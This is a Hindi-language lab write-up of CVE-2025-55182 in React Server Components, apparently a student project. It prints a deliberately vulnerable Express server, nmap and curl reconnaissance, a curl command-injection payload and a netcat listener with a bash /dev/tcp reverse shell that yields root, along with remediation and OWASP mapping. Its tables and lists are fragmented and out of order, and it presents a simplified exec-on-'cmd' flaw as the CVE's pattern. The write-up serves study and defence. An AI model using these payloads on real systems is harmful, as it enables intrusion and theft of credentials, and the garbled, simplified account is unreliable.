
CVE-2025-55182 (React) की सुरक्षा अनुसंधान और शोषण विश्लेषण — CVSS + OWASP Top 10 मैपिंग
वेब एप्लिकेशन भेद्यता विश्लेषण · M2 Cybersecurity · 2025 लेखक: Niane Mohamed · LinkedIn
React सर्वर घटकों में एक क्रिटिकल (CVSS 10.0) असुरक्षित विसीरियलाइज़ेशन भेद्यता का अंत-से-अंत शोषण श्रृंखला, टोही से लेकर अप्रमाणित रिमोट कोड निष्पादन तक, पूर्ण उपचार मार्गदर्शिका के साथ।
यह शोध एक जानबूझकर कमजोर लैब एप्लिकेशन को लक्षित करता है जो CVE को प्रदर्शित करने के लिए बनाया गया है। सभी परीक्षण एक पृथक आभासी नेटवर्क में हुए जिसका उत्पादन प्रणालियों, वास्तविक उपयोगकर्ता डेटा या तृतीय-पक्ष सेवाओं से कोई संबंध नहीं था।
React Server Components ने सर्वर-रेंडर किए गए घटकों को क्लाइंट तक स्ट्रीम करने के लिए एक नया सीरियलाइज़ेशन प्रारूप पेश किया। कमजोर संस्करणों में, RSC एंडपॉइंट एक JSON पेलोड स्वीकार करता है जिसमें एक cmd फ़ील्ड होती है जो सर्वर-साइड रेंडरिंग मूल्यांकन के भाग के रूप में child_process.exec() को असुरक्षित रूप से पारित की जाती है।
एक हमलावर एक निर्मित POST अनुरोध भेज सकता है जो:
root)| घटक | कमजोर श्रेणी | पैच किया गया संस्करण |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
एक न्यूनतम Express + RSC सर्वर जो एक /rsc एंडपॉइंट को उजागर करता है जो आने वाले पेलोड से कमांड को असुरक्षित रूप से निष्पादित करता है — वास्तविक CVE के भेद्यता पैटर्न को नियंत्रित तरीके से पुन: उत्पन्न करना:
// server.js — सरलीकृत, केवल लैब के लिए
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// कमजोर: हमलावर-नियंत्रित स्ट्रिंग निष्पादित करता है
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# पोर्ट खोज
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# सेवा सत्यापन
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
X-Powered-By: Express हेडर और असामान्य पोर्ट 3000 यह मजबूत संकेत प्रदान करते हैं कि यह एक Node.js एप्लिकेशन है — RSC तैनातियों के अनुरूप।
कुछ भी विनाशकारी करने से पहले, एक हानिरहित कमांड के साथ भेद्यता को मान्य करें:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# प्रतिक्रिया:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ पुष्टि हुई: root के रूप में अप्रमाणित RCE। सर्वर बिना किसी बाधा के विशेषाधिकारों के साथ चलता है।
एकल-कमांड निष्पादन से पूर्ण इंटरैक्टिव शेल में अपग्रेड करें:
# हमलावर मशीन पर लिसनर
nc -lvnp 4444
# पेलोड वितरण
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
लिसनर प्राप्त करता है:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
लक्ष्य पर root के साथ, एक हमलावर आसानी से यह कर सकता है:
/etc/shadow, SSH कुंजियाँ, एप्लिकेशन रहस्य, .env फ़ाइलें पढ़ सकता हैइस हमले की कम जटिलता — कोई प्रमाणीकरण नहीं, कोई उपयोगकर्ता सहभागिता नहीं, एकल HTTP अनुरोध — इसे इसके लिए आकर्षक बनाती है:
React को 19.3.0+ में अपग्रेड करें — पैच किया गया संस्करण
npm update react react-server-dom-webpack react-server-dom-esm
अस्थायी WAF नियम (यदि अपग्रेड में देरी हो):
JSON बॉडी में "cmd" फ़ील्ड वाले /rsc पर POST अनुरोधों को ब्लॉक करें
आपातकालीन घटना प्रतिक्रिया:
/rsc POST ट्रैफ़िक देखें| OWASP श्रेणी | प्रासंगिकता |
|---|---|
| A03:2021 — इंजेक्शन |
curl के साथ HTTP हेरफेर, रिवर्स शेल इंजीनियरिंग, पेलोड निर्माणMIT लाइसेंस — LICENSE देखें
शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए प्रकाशित। शीर्ष पर नैतिक अस्वीकरण देखें।
Niane Mohamed — नेटवर्क और सुरक्षा अभियंता 📍 नौकचोट, मॉरिटानिया → जर्मनी 🇩🇪 में अवसरों की तलाश 📧 [email protected] · 🔗 LinkedIn
| क्षेत्र | मान |
|---|
| CVE | CVE-2025-55182 |
| वर्ग | असुरक्षित विसीरियलाइज़ेशन → रिमोट कोड निष्पादन |
| CVSS v3.1 | 10.0 (क्रिटिकल) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| उपयोगकर्ता सहभागिता आवश्यक | कोई नहीं |
| हमला वेक्टर | नेटवर्क (रिमोट) |
| घटक | React सर्वर घटक (RSC) रनटाइम |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| भूमिका | OS | उपकरण |
|---|
| हमलावर | Kali Linux (नवीनतम) | nmap, curl, netcat, OWASP ZAP, Firefox |
| लक्ष्य | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| नेटवर्क | VMware VMnet Host-Only | कोई इंटरनेट आउटगोइंग नहीं |
| अक्ष | प्रभाव | स्पष्टीकरण |
|---|
| गोपनीयता | क्रिटिकल | सभी सर्वर डेटा तक पूर्ण पढ़ने की पहुँच |
| अखंडता | क्रिटिकल | एप्लिकेशन कोड और उपयोगकर्ता डेटा को संशोधित करने की क्षमता |
| उपलब्धता | उच्च | हमलावर सेवा को समाप्त कर सकता है या फिरौती के लिए रोक सकता है |
| नियामक | गंभीर | GDPR/DSGVO उल्लंघन जिसमें अनिवार्य 72 घंटे का प्रकटीकरण · 4% वैश्विक राजस्व जुर्माना संभावित |
| प्रतिष्ठा | गंभीर | सार्वजनिक CVE-मैप किया गया उल्लंघन ग्राहक विश्वास को नुकसान पहुँचाता है |
| वित्तीय | उच्च | घटना प्रतिक्रिया, नियामक जुर्माना, संभावित सामूहिक मुकदमा |
| नियंत्रण | उद्देश्य |
|---|
| यदि RSC उपयोग में नहीं है तो इसे अक्षम करें | हमले की सतह कम करें — कई ऐप्स को सर्वर घटकों की आवश्यकता नहीं होती |
| सख्त इनपुट सत्यापन | निष्पादन योग्य कुंजियों वाली किसी भी विसीरियलाइज़्ड वस्तु को अस्वीकार करें |
| गैर-रूट कंटेनर उपयोगकर्ता | यदि RCE दोबारा होता है तो विस्फोट त्रिज्या सीमित करें |
| केवल-पढ़ने के लिए रूट फाइलसिस्टम | स्थिरता और बाइनरी ड्रॉप को रोकें |
| ईग्रेस फ़िल्टरिंग | ऐप सर्वर से मनमाने IPs तक आउटबाउंड ट्रैफ़िक को ब्लॉक करें |
| नियंत्रण | उद्देश्य |
|---|
| व्यवहार विश्लेषण के साथ WAF | हस्ताक्षर नियमों से परे असामान्य POST पेलोड का पता लगाएं |
| रनटाइम एप्लिकेशन सेल्फ-प्रोटेक्शन (RASP) | रनटाइम पर exec() जैसे खतरनाक फ़ंक्शन कॉल को ब्लॉक करें |
| CI/CD में SCA | तैनाती से पहले कमजोर निर्भरताओं को पकड़ें (pip-audit, npm audit, Trivy) |
| पेनेट्रेशन टेस्टिंग कैडेंस | वार्षिक + प्रमुख रिलीज़ के बाद |
| बग बाउंटी प्रोग्राम | हमलावरों द्वारा समस्याओं को खोजने से पहले व्हाइट-हैट प्रकटीकरण को प्रोत्साहित करें |
| विसीरियलाइज़्ड इनपुट के माध्यम से कमांड इंजेक्शन |
| A08:2021 — सॉफ्टवेयर और डेटा अखंडता विफलताएँ | अखंडता सत्यापन के बिना असुरक्षित विसीरियलाइज़ेशन |
| A06:2021 — कमजोर और पुराने घटक | प्रकटीकरण के बाद React 19.0-19.2 का उपयोग करना |
| A05:2021 — सुरक्षा गलत विन्यास | Node.js को root के रूप में चलाना, कोई इनपुट सत्यापन नहीं |